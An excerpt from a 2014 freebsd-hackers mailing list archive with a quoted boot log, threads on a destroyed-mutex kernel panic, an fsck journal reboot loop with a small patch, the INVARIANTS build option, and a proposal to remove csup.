(1000.02-MHz 686-class CPU) > Origin =3D "AuthenticAMD" Id =3D 0x500f20 Family =3D 0x14 Model =3D = 0x2 Stepping =3D 0 > = Features=3D0x178bfbff > Features2=3D0x802209 > AMD Features=3D0x2e500800 > AMD = Features2=3D0x35ff > TSC: P-state invariant, performance statistics > real memory =3D 3741364224 (3568 MB) > avail memory =3D 3652464640 (3483 MB) > Event timer "LAPIC" quality 400 > ACPI APIC Table: > FreeBSD/SMP: Multiprocessor System Detected: 2 CPUs > FreeBSD/SMP: 1 package(s) x 2 core(s) >=20 >=20 >=20 >=20 > Searching bootorder for: /rom@genroms/pxeboot.rom > Press F12 for boot menu. >=20 > drive 0x000fd910: PCHS=3D0/0/0 translation=3Dlba LCHS=3D957/64/63 = s=3D3862528 > drive 0x000fd940: PCHS=3D16383/16/63 translation=3Dlba = LCHS=3D1024/255/63 s=3D61865984 > Space available for UMB: 000c1000-000ee000 > Returned 49152 bytes of ZoneHigh > e820 map has 6 items: > 0: 0000000000000000 - 000000000009fc00 =3D 1 RAM > 1: 000000000009fc00 - 00000000000a0000 =3D 2 RESERVED > 2: 00000000000f0000 - 0000000000100000 =3D 2 RESERVED > 3: 0000000000100000 - 000000007e16ac00 =3D 1 RAM > 4: 000000007e16ac00 - 000000007efffc00 =3D 2 RESERVED > 5: 00000000f8000000 - 00000000f9000000 =3D 2 RESERVED > enter handle_19: > NULL > Booting from ROM... > Booting from c000:0358 > iPXE (PCI 00:00.0) starting execution...ok > iPXE initialising devices...ok >=20 >=20 >=20 > iPXE 1.0.0+ (b757) -- Open Source Network Boot Firmware -- = http://ipxe.org > Features: HTTP iSCSI DNS TFTP AoE bzImage ELF MBOOT PXE PXEXT Menu >=20 > net0: 00:0d:b9:33:11:c4 using rtl8168 on PCI01:00.0 (open) > [Link:down, TX:0 TXE:0 RX:0 RXE:0] > [Link status: Down (http://ipxe.org/38086101)] > Waiting for link-up on net0... failed: Down (http://ipxe.org/38086101) > net1: 00:0d:b9:33:11:c5 using rtl8168 on PCI02:00.0 (open) > [Link:up, TX:0 TXE:0 RX:0 RXE:0] > DHCP (net1 00:0d:b9:33:11:c5)........... ok > net1: 192.168.43.213/255.255.255.0 gw 192.168.43.1 > Nothing to boot: No such file or directory (http://ipxe.org/2d03e13b) > net2: 00:0d:b9:33:11:c6 using rtl8168 on PCI03:00.0 (open) > [Link:up, TX:0 TXE:0 RX:0 RXE:0] > DHCP (net2 00:0d:b9:33:11:c6)...... ok > net1: 192.168.43.213/255.255.255.0 gw 192.168.43.1 (inaccessible) > net2: 10.255.255.75/255.255.255.0 gw 10.255.255.1 > Next server: 10.255.255.1 > Filename: pxe10/boot/pxeboot > Root path: /home/pxe10 > tftp://10.255.255.1/pxe10/boot/pxeboot... ok > PXE Loader 1.00 >=20 > Building the boot loader arguments > Relocating the loader and the BTX > Starting the BTX loader > /boot/kernel/kernel text=3D0xf09688 data=3D0xd02e8+0xe61e8 = syms=3D[0x4+0xd2850+0x4+0x15704b] > | > ______ ____ _____ _____ > | ____| | _ \ / ____| __ \ > | |___ _ __ ___ ___ | |_) | (___ | | | | > | ___| '__/ _ \/ _ \| _ < \___ \| | | | > | | | | | __/ __/| |_) |____) | |__| | > | | | | | | || | | | > |_| |_| \___|\___||____/|_____/|_____/ ``` = ` > s` `.....---.......--.``` = -/ > +------------Welcome to FreeBSD-----------+ +o .--` /y:` = +. > | | yo`:. :o = `+- > | 1. Boot Multi User [Enter] | y/ -/` = -o/ > | 2. Boot [S]ingle User | .- = ::/sy+:. > | 3. [Esc]ape to loader prompt | / `-- = / > | 4. Reboot | `: = :` > | | `: = :` > | Options: | / = / > | 5. Configure Boot [O]ptions... | .- = -. > | | -- = -. > | | `:` = `:` > | | .-- `--. > | | .---.....----. > +-----------------------------------------+ >=20 >=20 > Booting... > Copyright (c) 1992-2014 The FreeBSD Project. > Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, = 1994 > The Regents of the University of California. All rights = reserved. > FreeBSD is a registered trademark of The FreeBSD Foundation. > FreeBSD 10.0-STABLE #3 r267161: Fri Jun 6 13:55:58 EDT 2014 > = mdtancsa@ich10.sentex.ca:/home/pxe10/usr/obj/home/pxe10/usr/src/sys/GENERI= C i386 > FreeBSD clang version 3.4.1 (tags/RELEASE_34/dot1-final 208032) = 20140512 > CPU: AMD G-T40E Processor (1000.02-MHz 686-class CPU) > Origin =3D "AuthenticAMD" Id =3D 0x500f20 Family =3D 0x14 Model =3D = 0x2 Stepping =3D 0 > = Features=3D0x178bfbff > Features2=3D0x802209 > AMD Features=3D0x2e500800 > AMD = Features2=3D0x35ff > TSC: P-state invariant, performance statistics > real memory =3D 2114293760 (2016 MB) > avail memory =3D 2052497408 (1957 MB) > Event timer "LAPIC" quality 400 > ACPI APIC Table: > FreeBSD/SMP: Multiprocessor System Detected: 2 CPUs > FreeBSD/SMP: 1 package(s) x 2 core(s) > cpu0 (BSP): APIC ID: 0 > cpu1 (AP): APIC ID: 1 > random device not loaded; using insecure entropy > ioapic0 irqs 0-23 on motherboard > kbd0 at kbdmux0 > random: initialized > module_register_init: MOD_LOAD (vesa, 0xc0f67220, 0) error 19 > acpi0: on motherboard > acpi0: Power Button (fixed) > cpu0: on acpi0 > cpu1: on acpi0 > atrtc0: port 0x70-0x71 irq 8 on acpi0 > Event timer "RTC" frequency 32768 Hz quality 0 > attimer0: port 0x40-0x43 irq 0 on acpi0 > Timecounter "i8254" frequency 1193182 Hz quality 0 > Event timer "i8254" frequency 1193182 Hz quality 100 > Timecounter "ACPI-fast" frequency 3579545 Hz quality 900 > acpi_timer0: <32-bit timer at 3.579545MHz> port 0x808-0x80b on acpi0 > hpet0: iomem 0xfed00000-0xfed003ff on = acpi0 > Timecounter "HPET" frequency 14318180 Hz quality 950 > Event timer "HPET" frequency 14318180 Hz quality 550 > Event timer "HPET1" frequency 14318180 Hz quality 450 > pcib0: port 0xcf8-0xcff on acpi0 > pci0: on pcib0 > pcib1: at device 4.0 on pci0 > pci1: on pcib1 > re0: port = 0x1000-0x10ff mem 0xfe500000-0xfe500fff,0xfe400000-0xfe403fff at device = 0.0 on pci1 > re0: Using 1 MSI-X message > re0: ASPM disabled > re0: Chip rev. 0x2c000000 > re0: MAC rev. 0x00200000 > miibus0: on re0 > rgephy0: PHY 1 on = miibus0 > rgephy0: none, 10baseT, 10baseT-FDX, 10baseT-FDX-flow, 100baseTX, = 100baseTX-FDX, 100baseTX-FDX-flow, 1000baseT, 1000baseT-master, = 1000baseT-FDX, 1000baseT-FDX-master, 1000baseT-FDX-flow, = 1000baseT-FDX-flow-master, auto, auto-flow > re0: Ethernet address: 00:0d:b9:33:11:c4 > pcib2: at device 5.0 on pci0 > pci2: on pcib2 > re1: port = 0x2000-0x20ff mem 0xfe700000-0xfe700fff,0xfe600000-0xfe603fff at device = 0.0 on pci2 > re1: Using 1 MSI-X message > re1: ASPM disabled > re1: Chip rev. 0x2c000000 > re1: MAC rev. 0x00200000 > miibus1: on re1 > rgephy1: PHY 1 on = miibus1 > rgephy1: none, 10baseT, 10baseT-FDX, 10baseT-FDX-flow, 100baseTX, = 100baseTX-FDX, 100baseTX-FDX-flow, 1000baseT, 1000baseT-master, = 1000baseT-FDX, 1000baseT-FDX-master, 1000baseT-FDX-flow, = 1000baseT-FDX-flow-master, auto, auto-flow > re1: Ethernet address: 00:0d:b9:33:11:c5 > pcib3: at device 6.0 on pci0 > pci3: on pcib3 > re2: port = 0x3000-0x30ff mem 0xfe900000-0xfe900fff,0xfe800000-0xfe803fff at device = 0.0 on pci3 > re2: Using 1 MSI-X message > re2: ASPM disabled > re2: Chip rev. 0x2c000000 > re2: MAC rev. 0x00200000 > miibus2: on re2 > rgephy2: PHY 1 on = miibus2 > rgephy2: none, 10baseT, 10baseT-FDX, 10baseT-FDX-flow, 100baseTX, = 100baseTX-FDX, 100baseTX-FDX-flow, 1000baseT, 1000baseT-master, = 1000baseT-FDX, 1000baseT-FDX-master, 1000baseT-FDX-flow, = 1000baseT-FDX-flow-master, auto, auto-flow > re2: Ethernet address: 00:0d:b9:33:11:c6 > pcib4: at device 7.0 on pci0 > pci4: on pcib4 > ath0: mem 0xfea00000-0xfea0ffff at device 0.0 on pci4 > ath0: [HT] enabling HT modes > ath0: [HT] 1 stream STBC receive enabled > ath0: [HT] 1 stream STBC transmit enabled > ath0: [HT] 2 RX streams; 2 TX streams > ath0: AR9280 mac 128.2 RF5133 phy 13.0 > ath0: 2GHz radio: 0x0000; 5GHz radio: 0x00c0 > ahci0: port = 0x4020-0x4027,0x4040-0x4043,0x4028-0x402f,0x4044-0x4047,0x4000-0x400f = mem 0xfeb04000-0xfeb043ff at device 17.0 on pci0 > ahci0: AHCI v1.20 with 4 6Gbps ports, Port Multiplier supported > ahcich0: at channel 0 on ahci0 > ahcich1: at channel 1 on ahci0 > ahcich2: at channel 2 on ahci0 > ahcich3: at channel 3 on ahci0 > ohci0: mem = 0xfeb00000-0xfeb00fff at device 18.0 on pci0 > usbus0 on ohci0 > ehci0: mem = 0xfeb04400-0xfeb044ff at device 18.2 on pci0 > usbus1: EHCI version 1.0 > usbus1 on ehci0 > ohci1: mem = 0xfeb01000-0xfeb01fff at device 19.0 on pci0 >=20 > .... >=20 > ---Mike >=20 >=20 > --=20 > ------------------- > Mike Tancsa, tel +1 519 651 3400 > Sentex Communications, mike@sentex.net > Providing Internet services since 1994 www.sentex.net > Cambridge, Ontario Canada http://www.tancsa.com/ From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 14 07:50:38 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CB9162B9 for ; Sat, 14 Jun 2014 07:50:38 +0000 (UTC) Received: from out2-smtp.messagingengine.com (out2-smtp.messagingengine.com [66.111.4.26]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 9DE0927A0 for ; Sat, 14 Jun 2014 07:50:38 +0000 (UTC) Received: from compute6.internal (compute6.nyi.mail.srv.osa [10.202.2.46]) by gateway1.nyi.mail.srv.osa (Postfix) with ESMTP id 1D07120D3B for ; Sat, 14 Jun 2014 03:50:31 -0400 (EDT) Received: from frontend2 ([10.202.2.161]) by compute6.internal (MEProxy); Sat, 14 Jun 2014 03:50:31 -0400 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d= messagingengine.com; h=message-id:date:from:mime-version:to :subject:content-type:content-transfer-encoding; s=smtpout; bh=l Zy15U8Saf4KDKxZzvI8GL07VBA=; b=Q2XKc1O0HMFjitXuCbNesV9WvBh1uDueS bvzaAHieVV7MvmyP6PkwDiHmLfU50xR9jL9ioI2rfxjVZZ+arjSSRXej+o5md1Ck OT58Y9uejT/GbManHxQm0ss2mJoYZ5Bjvho2Emy5WIUMcxVp0dtH9Bi3y7GD+BQ0 3LdkSZovFg= X-Sasl-enc: dgigqXJbP9d13LCU2F+QV/kNcznmILzIro1p1AyUguuW 1402732230 Received: from [192.168.1.31] (unknown [203.206.138.26]) by mail.messagingengine.com (Postfix) with ESMTPA id 6CE446800B5 for ; Sat, 14 Jun 2014 03:50:30 -0400 (EDT) Message-ID: <539BFEC4.1020103@freebsd.org> Date: Sat, 14 Jun 2014 17:50:28 +1000 From: Darren Reed User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: FreeBSD 10.0 adaptive mutex with strange mtx_lock value = panic X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 14 Jun 2014 07:50:38 -0000 In debugging a kernel panic running inside a VM, I found the following: (kgdb) p *$15 $16 = {lock_object = {lo_name = 0xffffffff81a8a224 "filter rule lock", lo_flags = 16908288, lo_data = 0, lo_witness = 0x0}, mtx_lock = 6} 16908288 = 0x1020000 (CLASS=1|LO_WITNESS) While everything "looks" normal, mtx_lock = MTX_UNOWNED|MTX_CONTESTED And kern_mutex.c cannot deal with that. This is 100% repeatable/reproducible ... Am I dealing with a VM bug or a FreeBSD bug? Darren From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 14 08:21:40 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 38C0EB31 for ; Sat, 14 Jun 2014 08:21:40 +0000 (UTC) Received: from out2-smtp.messagingengine.com (out2-smtp.messagingengine.com [66.111.4.26]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 0B0812A8D for ; Sat, 14 Jun 2014 08:21:39 +0000 (UTC) Received: from compute4.internal (compute4.nyi.mail.srv.osa [10.202.2.44]) by gateway1.nyi.mail.srv.osa (Postfix) with ESMTP id A645520DD7 for ; Sat, 14 Jun 2014 04:21:38 -0400 (EDT) Received: from frontend2 ([10.202.2.161]) by compute4.internal (MEProxy); Sat, 14 Jun 2014 04:21:38 -0400 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d= messagingengine.com; h=message-id:date:from:mime-version:to :subject:content-type:content-transfer-encoding; s=smtpout; bh=w /18nhwXQqahmOoE+104uZaCIXw=; b=HN6nM21Ax5U5HY0FN30PAAk5buEFRMqKX fFf8/IAvNpfDZON8M6XZKx+c3HwbbO5IOc2VR9GcjgMMVp3M3etIt8Zg3mUynOVE /aj+6ZgNUTpMuJGkPWaTx4riwCWlUXwE/GlrAuZUyb8iAVf3P68tDpVF0DHTFjWx HFwrSw/vYY= X-Sasl-enc: 3V9qQF+o2Knnjl7rm9Xtbx88FpttrG5uR6y6Mv+G7x67 1402734098 Received: from [192.168.1.31] (unknown [203.206.138.26]) by mail.messagingengine.com (Postfix) with ESMTPA id F35A46800F7 for ; Sat, 14 Jun 2014 04:21:37 -0400 (EDT) Message-ID: <539C0610.9080204@freebsd.org> Date: Sat, 14 Jun 2014 18:21:36 +1000 From: Darren Reed User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: freebsd 10.0 reboot loop with ffs dup alloc X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 14 Jun 2014 08:21:40 -0000 I've just been through an interesting little scenario where my FreeBSD box was in a reboot loop due to an error in the FFS log leading to it replaying data that led to apanic: ffs_valloc: dup alloc At this point, if I had not of been paying attention, FreeBSD would have continued to reboot forever as the panic happened when it was writing out a crash dump - well after fsck had marked the filesystem clean. The fix was to reboot into single user mode, not to replay the log, and let fsck do what it normally does. Unfortunately when the log is present, using "-y" means that the log is replayed thus forcing "-y" to not being used and "y" being manually entered for all of the answers :-/ Something like the patch below should be used where the answer to the "USE JOURNAL" question is not subject to the "-y" setting. I suppose another bug here is that the journal ended up with some sort of corruption or bad data inside of it that led to it recreating a situation on disk that would later cause a panic. Cheers, Darren *** main.c.orig Sat Jun 14 18:15:52 2014 --- main.c Sat Jun 14 18:16:50 2014 *************** *** 400,406 **** */ if ((sblock.fs_flags & FS_SUJ) == FS_SUJ) { if ((sblock.fs_flags & FS_NEEDSFSCK) != FS_NEEDSFSCK && skipclean) { ! if (preen || reply("USE JOURNAL")) { if (suj_check(filesys) == 0) { printf("\n***** FILE SYSTEM MARKED CLEAN *****\n"); if (chkdoreload(mntp) == 0) --- 400,415 ---- */ if ((sblock.fs_flags & FS_SUJ) == FS_SUJ) { if ((sblock.fs_flags & FS_NEEDSFSCK) != FS_NEEDSFSCK && skipclean) { ! int yf = yflag; ! int rep; ! ! yflag = 0; ! if (!preen) ! rep = reply("USE JOURNAL"); ! else ! rep = 0; ! yflag = yf; ! if (preen || rep) { if (suj_check(filesys) == 0) { printf("\n***** FILE SYSTEM MARKED CLEAN *****\n"); if (chkdoreload(mntp) == 0) From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 14 08:48:53 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1570F4E2; Sat, 14 Jun 2014 08:48:53 +0000 (UTC) Received: from mail-wi0-x22e.google.com (mail-wi0-x22e.google.com [IPv6:2a00:1450:400c:c05::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 7E7462C14; Sat, 14 Jun 2014 08:48:52 +0000 (UTC) Received: by mail-wi0-f174.google.com with SMTP id bs8so1922334wib.13 for ; Sat, 14 Jun 2014 01:48:50 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:mail-followup-to:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; bh=qpu+clM1dT81xXfnoK4B7Qz5/9oLnokvYDUdTA0s6K8=; b=ny3Qx0kZGJ5R2jDlaFJW55w2lxytJiTPZgQxOlB5n5+zsl8rm0o8SI76RvPC9RMdb1 f1108YyH8aVD7LTSn3+ytSxSDcfWrNfZCoFD0e7jLm0r+HyQAZ01LzV8FtPWmgP9Sxlw dH87iXdB2QAzSKN+ifPz/yqIPFA2Ju6fHBEM7/cVzy0HxopVWV5LPB8zbqH5dkN40aK+ ptB15WAFIeJlI3sh1WrpTgn4yK9rvpks1bGRTT4Vdx6QbTZMFp1LBF8cBMWR4D6r0/wn m38Xlw4V41fusB+fW4QRHRYj2ucFvHOSOn2rHc5YbD+H/5TPx/mO3rM61z7KdWxub4Jf OllQ== X-Received: by 10.194.93.228 with SMTP id cx4mr11199162wjb.61.1402735730782; Sat, 14 Jun 2014 01:48:50 -0700 (PDT) Received: from dft-labs.eu (n1x0n-1-pt.tunnel.tserv5.lon1.ipv6.he.net. [2001:470:1f08:1f7::2]) by mx.google.com with ESMTPSA id bq7sm1692091wib.7.2014.06.14.01.48.49 for (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Sat, 14 Jun 2014 01:48:50 -0700 (PDT) Date: Sat, 14 Jun 2014 10:48:47 +0200 From: Mateusz Guzik To: Darren Reed Subject: Re: FreeBSD 10.0 adaptive mutex with strange mtx_lock value = panic Message-ID: <20140614084847.GA8122@dft-labs.eu> Mail-Followup-To: Mateusz Guzik , Darren Reed , freebsd-hackers@freebsd.org References: <539BFEC4.1020103@freebsd.org> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <539BFEC4.1020103@freebsd.org> User-Agent: Mutt/1.5.21 (2010-09-15) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 14 Jun 2014 08:48:53 -0000 On Sat, Jun 14, 2014 at 05:50:28PM +1000, Darren Reed wrote: > In debugging a kernel panic running inside a VM, I found the following: > > (kgdb) p *$15 > $16 = {lock_object = {lo_name = 0xffffffff81a8a224 "filter rule lock", > lo_flags = 16908288, lo_data = 0, lo_witness = 0x0}, mtx_lock = 6} > > 16908288 = 0x1020000 (CLASS=1|LO_WITNESS) > > While everything "looks" normal, mtx_lock = MTX_UNOWNED|MTX_CONTESTED > > And kern_mutex.c cannot deal with that. > > This is 100% repeatable/reproducible ... > > Am I dealing with a VM bug or a FreeBSD bug? > This is a 'destroyed mutex' state, i.e. you are doing mtx_lock after mtx_destroy. A kernel with INVARIANTS enabled wold tell you that straight away. -- Mateusz Guzik From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 14 09:43:58 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4F9361A6 for ; Sat, 14 Jun 2014 09:43:58 +0000 (UTC) Received: from out2-smtp.messagingengine.com (out2-smtp.messagingengine.com [66.111.4.26]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 1FD68204E for ; Sat, 14 Jun 2014 09:43:57 +0000 (UTC) Received: from compute1.internal (compute1.nyi.mail.srv.osa [10.202.2.41]) by gateway1.nyi.mail.srv.osa (Postfix) with ESMTP id 44E3120E2E; Sat, 14 Jun 2014 05:43:56 -0400 (EDT) Received: from frontend2 ([10.202.2.161]) by compute1.internal (MEProxy); Sat, 14 Jun 2014 05:43:56 -0400 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d= messagingengine.com; h=message-id:date:from:mime-version:to :subject:references:in-reply-to:content-type :content-transfer-encoding; s=smtpout; bh=fiT93Vn0fPDpI2JPXTQbcD fk/KI=; b=Vu0uLoh2Tao3RhqvDTLhvg8UHAtMs5Go5z7WTNnIIC6vounITFmreE /nY1i2cPolxisNlORdZWS2MicRNEiTeJd9g51zSmONVx8EsYFR1e8x/xeIafn4pz 4C6oCuCH1Yui+6R8SZJg1m/5dQJrDs5VbtoZmtvbkM4Cy+/g6/Izo= X-Sasl-enc: atzaRNiHGUn8cTH0AWOmKLio/a2ZfK1/odoa4kAX8M4x 1402739035 Received: from [192.168.1.31] (unknown [203.206.138.26]) by mail.messagingengine.com (Postfix) with ESMTPA id 4920E68016B; Sat, 14 Jun 2014 05:43:55 -0400 (EDT) Message-ID: <539C1959.30203@freebsd.org> Date: Sat, 14 Jun 2014 19:43:53 +1000 From: Darren Reed User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Mateusz Guzik , freebsd-hackers@freebsd.org Subject: Re: FreeBSD 10.0 adaptive mutex with strange mtx_lock value = panic References: <539BFEC4.1020103@freebsd.org> <20140614084847.GA8122@dft-labs.eu> In-Reply-To: <20140614084847.GA8122@dft-labs.eu> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 14 Jun 2014 09:43:58 -0000 On 14/06/2014 6:48 PM, Mateusz Guzik wrote: ... > This is a 'destroyed mutex' state, i.e. you are doing mtx_lock after > mtx_destroy. > > A kernel with INVARIANTS enabled wold tell you that straight away. I added "options INVARIANTS" to a kernel and recompiled.. Well, I tried to recompile - compiling ends like this: cam_periph.o: In function `cam_periph_find': /usr/src/sys/amd64/compile/DEBUG/../../../cam/cam_periph.c:301: undefined reference to `__mtx_assert' cam_periph.o: In function `cam_periph_release_locked_buses': /usr/src/sys/amd64/compile/DEBUG/../../../cam/cam_periph.c:382: undefined reference to `__mtx_assert' cam_periph.o: In function `camperiphfree': /usr/src/sys/amd64/compile/DEBUG/../../../cam/cam_periph.c:603: undefined reference to `__mtx_assert' cam_periph.o: In function `cam_periph_release': /usr/src/sys/amd64/compile/DEBUG/../../../cam/cam_periph.c:409: undefined reference to `__mtx_assert' cam_periph.o: In function `cam_periph_hold': /usr/src/sys/amd64/compile/DEBUG/../../../cam/cam_periph.c:430: undefined reference to `__mtx_assert' ... Darren From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 14 10:29:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 17A52C37; Sat, 14 Jun 2014 10:29:33 +0000 (UTC) Received: from elf.torek.net (50-73-42-1-utah.hfc.comcastbusiness.net [50.73.42.1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id CA4D32333; Sat, 14 Jun 2014 10:29:32 +0000 (UTC) Received: from elf.torek.net (localhost [127.0.0.1]) by elf.torek.net (8.14.5/8.14.5) with ESMTP id s5EAAtS0087393; Sat, 14 Jun 2014 04:10:55 -0600 (MDT) (envelope-from torek@torek.net) Message-Id: <201406141010.s5EAAtS0087393@elf.torek.net> From: Chris Torek To: Darren Reed Subject: Re: FreeBSD 10.0 adaptive mutex with strange mtx_lock value = panic In-reply-to: Your message of "Sat, 14 Jun 2014 19:43:53 +1000." <539C1959.30203@freebsd.org> Date: Sat, 14 Jun 2014 04:10:55 -0600 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (elf.torek.net [127.0.0.1]); Sat, 14 Jun 2014 04:10:55 -0600 (MDT) Cc: freebsd-hackers@freebsd.org, Mateusz Guzik X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 14 Jun 2014 10:29:33 -0000 >I added "options INVARIANTS" to a kernel and recompiled.. > >Well, I tried to recompile - compiling ends like this: > >cam_periph.o: In function `cam_periph_find': >/usr/src/sys/amd64/compile/DEBUG/../../../cam/cam_periph.c:301: >undefined reference to `__mtx_assert' [etc] The INVARIANTS option requires the INVARIANT_SUPPORT option. I believe INVARIANTS ought to just automatically turn on INVARIANT_SUPPORT, really. But it's pretty minor, once you know. Chris From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 14 18:37:59 2014 Return-Path: Delivered-To: hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A87803AD for ; Sat, 14 Jun 2014 18:37:59 +0000 (UTC) Received: from buffy.york.ac.uk (unknown [IPv6:2a00:14f0:e000:9b::2]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "buffy.york.ac.uk", Issuer "buffy.york.ac.uk" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 41A5824FB for ; Sat, 14 Jun 2014 18:37:59 +0000 (UTC) Received: from [127.0.0.1] (localhost [127.0.0.1]) by buffy.york.ac.uk (8.14.8/8.14.8) with ESMTP id s5EIbt87089803 for ; Sat, 14 Jun 2014 19:37:55 +0100 (BST) (envelope-from gavin@FreeBSD.org) Subject: Removal of csup From: Gavin Atkinson To: hackers@FreeBSD.org Content-Type: text/plain; charset="ASCII" Date: Sat, 14 Jun 2014 19:37:54 +0100 Message-ID: <1402771074.29772.60.camel@buffy.york.ac.uk> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 14 Jun 2014 18:37:59 -0000 Hi all, FreeBSD has moved away from distributing source using CVSup (later csup) over the last several years, and recently even the mirroring of data into the legacy cvsup mirror network was switched off. As a result, there is no longer any useful data within the FreeBSD CVSup mirror network. As a result, with the only reason for its existence no more, I would like to remove csup from base for 10. I do not propose moving it to ports, I feel that is unnecessary given I believe that distributing our source was the only reason for its existence. NetBSD do still have some cvsup mirrors running, but do not advertise it as a supported mechanism for obtaining their tree. OpenBSD stopped offering source over CVSup two years ago. Any objections to giving csup the burial it deserves? Thanks, Gavin From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 15 02:14:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 025C456B for ; Sun, 15 Jun 2014 02:14:42 +0000 (UTC) Received: from out2-smtp.messagingengine.com (out2-smtp.messagingengine.com [66.111.4.26]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 